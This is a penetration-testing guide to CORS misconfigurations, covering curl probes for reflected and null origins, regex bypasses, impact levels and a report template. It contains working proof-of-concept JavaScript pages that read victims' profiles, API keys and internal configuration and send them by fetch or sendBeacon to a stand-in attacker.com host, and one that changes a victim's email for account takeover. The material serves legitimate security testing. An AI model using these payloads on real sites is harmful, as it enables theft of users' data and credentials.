| CWE | CWE-942, CWE-346 |
| WSTG | WSTG-CLNT-07 |
| MITRE ATT&CK | T1557 |
| CVSS Range | 4.3-8.6 |
| Tools | corscanner |
| Difficulty | basic |
CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) misconfigurations occur when a server's access control policy is too permissive, allowing attacker-controlled websites to make authenticated cross-origin requests and read responses. This turns the victim's browser into a proxy, letting an attacker steal sensitive data, perform state-changing actions, or exfiltrate tokens by simply luring the victim to a malicious page.
Quick Reference
| Aspect | Details |
|---|---|
| Attack type | Cross-origin data theft via browser |
| Target | APIs and endpoints returning sensitive data with overly permissive CORS headers |
| Technique | Exploit Access-Control-Allow-Origin reflection, null origin, wildcard with credentials |
| Key CWE | CWE-942 (Permissive CORS Policy), CWE-346 (Origin Validation Error) |
CORS headers to look for:
| Header | Dangerous value | Impact |
|---|---|---|
Access-Control-Allow-Origin | Reflects request Origin | Attacker site can read responses |
Access-Control-Allow-Credentials | true (with reflected origin) | Cookies/auth sent cross-origin |
Access-Control-Allow-Origin | null | Sandboxed iframes and data: URIs can read responses |
Access-Control-Allow-Origin | * with credentials | Browser blocks this, but check for inconsistencies |
Detect CORS Misconfigurations
Probe Origin Reflection
Send requests with various Origin headers and check if the server reflects them in Access-Control-Allow-Origin:
# Test 1: Arbitrary origin reflection
curl -sI "https://TARGET/api/user" \
-H "Origin: https://attacker.com" | grep -i "access-control"
# Test 2: Null origin
curl -sI "https://TARGET/api/user" \
-H "Origin: null" | grep -i "access-control"
# Test 3: Subdomain matching (check for regex bugs)
curl -sI "https://TARGET/api/user" \
-H "Origin: https://evil-TARGET" | grep -i "access-control"
# Test 4: Subdomain of target
curl -sI "https://TARGET/api/user" \
-H "Origin: https://sub.TARGET" | grep -i "access-control"
# Test 5: Prefix match bypass
curl -sI "https://TARGET/api/user" \
-H "Origin: https://TARGET.attacker.com" | grep -i "access-control"
# Test 6: Suffix match bypass
curl -sI "https://TARGET/api/user" \
-H "Origin: https://attackerTARGET" | grep -i "access-control"
What to look for: If the response includes:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
...the endpoint is exploitable. Both headers together mean the attacker's site can make authenticated requests and read responses.
Systematic Endpoint Scanning
# Scan multiple endpoints with an attacker origin
ENDPOINTS=("/api/user" "/api/account" "/api/settings" "/api/billing" "/api/keys")
for ep in "${ENDPOINTS[@]}"; do
result=$(curl -sI "https://TARGET${ep}" \
-H "Origin: https://attacker.com" 2>/dev/null | \
grep -i "access-control-allow-origin")
if [ -n "$result" ]; then
echo "${ep}: ${result}"
fi
done
Check Preflight Behavior
For non-simple requests (custom headers, PUT/DELETE methods), browsers send a preflight OPTIONS request:
# Preflight probe
curl -sI -X OPTIONS "https://TARGET/api/data" \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization" | grep -i "access-control"
If Access-Control-Allow-Methods includes PUT/DELETE and the origin is reflected, non-simple requests are also exploitable.
Exploit: Arbitrary Origin Reflection
The most common CORS misconfiguration. The server reflects whatever Origin header is sent in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true.
Steal User Data
Host this on https://attacker.com:
<html>
<body>
<script>
// Victim visits this page while authenticated to TARGET
fetch('https://TARGET/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate sensitive data to attacker server
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html>
Steal API Keys / Tokens
<script>
// Extract API keys from account settings
fetch('https://TARGET/api/account/api-keys', {
credentials: 'include'
})
.then(r => r.json())
.then(keys => {
navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify(keys));
});
</script>
Perform State-Changing Actions
<script>
// Change victim's email (account takeover setup)
fetch('https://TARGET/api/user/settings', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
})
.then(r => r.json())
.then(result => {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({action: 'email_changed', result})
});
});
</script>
Exploit: Null Origin
Some servers whitelist the null origin (common in development configurations). The null origin is sent by:
- Sandboxed iframes (
<iframe sandbox>) - Local file:// pages
- data: URI schemes
- Cross-origin redirects in some browsers
<html>
<body>
<!-- Sandboxed iframe sends Origin: null -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://TARGET/api/user', {credentials: 'include'})
.then(r => r.json())
.then(data => {
// Post data to parent or exfiltrate directly
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
"></iframe>
</body>
</html>
Exploit: Subdomain Origin Trust
If the server trusts all subdomains (e.g., *.target.com), find any XSS on any subdomain to escalate:
# 1. Find an XSS on any subdomain
# blog.target.com, staging.target.com, dev.target.com, etc.
# 2. Use XSS to make cross-origin request from trusted subdomain
# Inject via XSS on blog.target.com:
<script>
fetch('https://api.target.com/api/user', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log', {method:'POST', body:JSON.stringify(d)}));
</script>
Regex Bypass in Subdomain Validation
Servers often use regex to validate origins. Common mistakes:
# Intended: *.target.com
# Regex: /target\.com$/
# Bypass: https://attackertarget.com (suffix match)
curl -sI "https://TARGET/api/user" \
-H "Origin: https://attackertarget.com" | grep -i "access-control"
# Intended: https://*.target.com
# Regex: /^https:\/\/.*target\.com$/
# Bypass: https://evil.com/.target.com (path injection in some parsers)
# Regex: /target\.com/ (no anchoring)
# Bypass: https://target.com.attacker.com
curl -sI "https://TARGET/api/user" \
-H "Origin: https://target.com.attacker.com" | grep -i "access-control"
Exploit: Wildcard with Internal Network
If the server returns Access-Control-Allow-Origin: * without credentials, it's usually not directly exploitable (browsers won't send cookies). But in internal networks:
<script>
// No cookies needed -- internal services often have no auth
// Victim's browser is on the internal network
fetch('http://192.168.1.100:8080/api/internal/config')
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
This turns CORS wildcard on internal services into an information disclosure via the victim's browser as a pivot point.
Exploit: Vary Header Missing
If the server does not include Vary: Origin in responses, CDNs or browser caches may cache a CORS response for one origin and serve it to another:
# Check for missing Vary header
curl -sI "https://TARGET/api/data" \
-H "Origin: https://attacker.com" | grep -i "vary"
# If Vary: Origin is missing and ACAO is reflected:
# 1. Attacker makes request → response cached with ACAO: https://attacker.com
# 2. Legitimate user gets cached response → browser sees wrong ACAO
# Impact varies by cache behavior
Testing Methodology
- Discover API endpoints -- Crawl the application, check JavaScript source for fetch/XHR calls, review API documentation.
- Test each endpoint with Origin headers -- Arbitrary origin, null, subdomain variations, prefix/suffix bypasses.
- Check for credentials support -- Look for
Access-Control-Allow-Credentials: truealongside reflected origins. - Test preflight responses -- OPTIONS requests with custom methods and headers.
- Check Vary header -- Missing
Vary: Originenables cache-based attacks. - Verify exploitability -- Build a PoC HTML page, serve it from a different origin, confirm data exfiltration works with a real browser session.
Important: CORS issues are only exploitable if the endpoint returns sensitive data or allows state-changing actions. An endpoint returning public data with a reflected origin is informational, not a vulnerability.
Impact Assessment
Level 1 -- Permissive Headers, No Sensitive Data (Informational):
Origin is reflected but the endpoint returns only public data or Access-Control-Allow-Credentials is not set. No exploitable impact.
Level 2 -- Sensitive Data Exposure (High severity): Attacker-controlled origin can read authenticated responses containing PII, account details, or internal data. Proof: PoC page on attacker domain successfully reads and exfiltrates user profile data.
Level 3 -- Account Takeover Chain (Critical severity): CORS misconfiguration enables extraction of API keys, session tokens, or CSRF tokens, leading to full account compromise. Proof: extracted API key used to demonstrate account access from a different session.
Level 4 -- Internal Network Pivot (Critical severity): Wildcard CORS on internal services combined with a victim on the internal network allows reading internal service data via the victim's browser. Proof: internal configuration/credentials exfiltrated through victim's browser.
Documentation Template
## CORS Misconfiguration -- [Origin Reflection / Null Origin / Subdomain Trust]
**URL:** [vulnerable endpoint]
**Misconfiguration:** [what ACAO/ACAC values are returned for what Origin]
### Probe Request/Response
[curl command and response headers showing the CORS misconfiguration]
### Exploitation PoC
[HTML page hosted on attacker domain that demonstrates data theft]
### Exfiltrated Data
[Sample of sensitive data retrieved cross-origin]
Tools
| Tool | Purpose | When to use |
|---|---|---|
| curl | Manual CORS header probing | Always -- test each endpoint with various Origin headers |
| Burp Suite | Intercept and modify Origin headers, scan for CORS issues | Systematic testing across all endpoints |
| CORScanner | Automated CORS misconfiguration scanner | First-pass scan of all endpoints for common misconfigurations |
| Browser DevTools | Verify real browser CORS behavior | Confirm that the PoC works in an actual browser context |
CORScanner workflow:
# Scan a single target
python3 cors_scan.py -u https://TARGET/
# Scan with custom headers (authenticated scan)
python3 cors_scan.py -u https://TARGET/ -H "Cookie: session=xxx"
# Scan multiple URLs from file
python3 cors_scan.py -i urls.txt -t 10
Prioritization
Test these first (highest real-world exploitability)
- Origin reflection with credentials -- The most dangerous CORS misconfiguration. If the server reflects any
Originheader inAccess-Control-Allow-OriginwithAccess-Control-Allow-Credentials: true, any attacker site can read authenticated responses. Test withOrigin: https://evil.com. - Null origin acceptance --
Access-Control-Allow-Origin: nullwith credentials allows exploitation from sandboxed iframes anddata:URIs. Common misconfiguration when developers addnullto an allowlist for local development. - Subdomain wildcard matching -- If the server accepts any subdomain (
*.target.com), a subdomain takeover or XSS on any subdomain enables cross-origin data theft from the main application.
Test these if time permits (lower exploitability)
- Regex bypass in origin validation -- Test
evil-target.com,target.com.evil.com, andtargetcom.evil.comto exploit weak regex patterns in origin validation. - Pre-flight bypass on simple requests -- If CORS is only enforced on pre-flight (OPTIONS) requests, simple GET/POST requests with allowed Content-Types may bypass protection.
- Wildcard origin without credentials --
Access-Control-Allow-Origin: *without credentials is generally low risk but may expose public API data that should be restricted.
Skip if
- Application does not return CORS headers on any endpoint
- Application is a single-origin deployment with no cross-origin requirements
Note: Token-based authentication (Authorization header) prevents cookie-based credential theft, but CORS misconfigurations can still leak data from endpoints that return sensitive information based on network position or pre-authenticated context. Reduce priority rather than skip entirely.
Asset criticality
Prioritize endpoints returning sensitive data: user profile/PII endpoints > financial data endpoints > session/token endpoints > public data endpoints. CORS misconfiguration on endpoints that return authentication tokens or PII is Critical. On public data endpoints, it is typically Informational.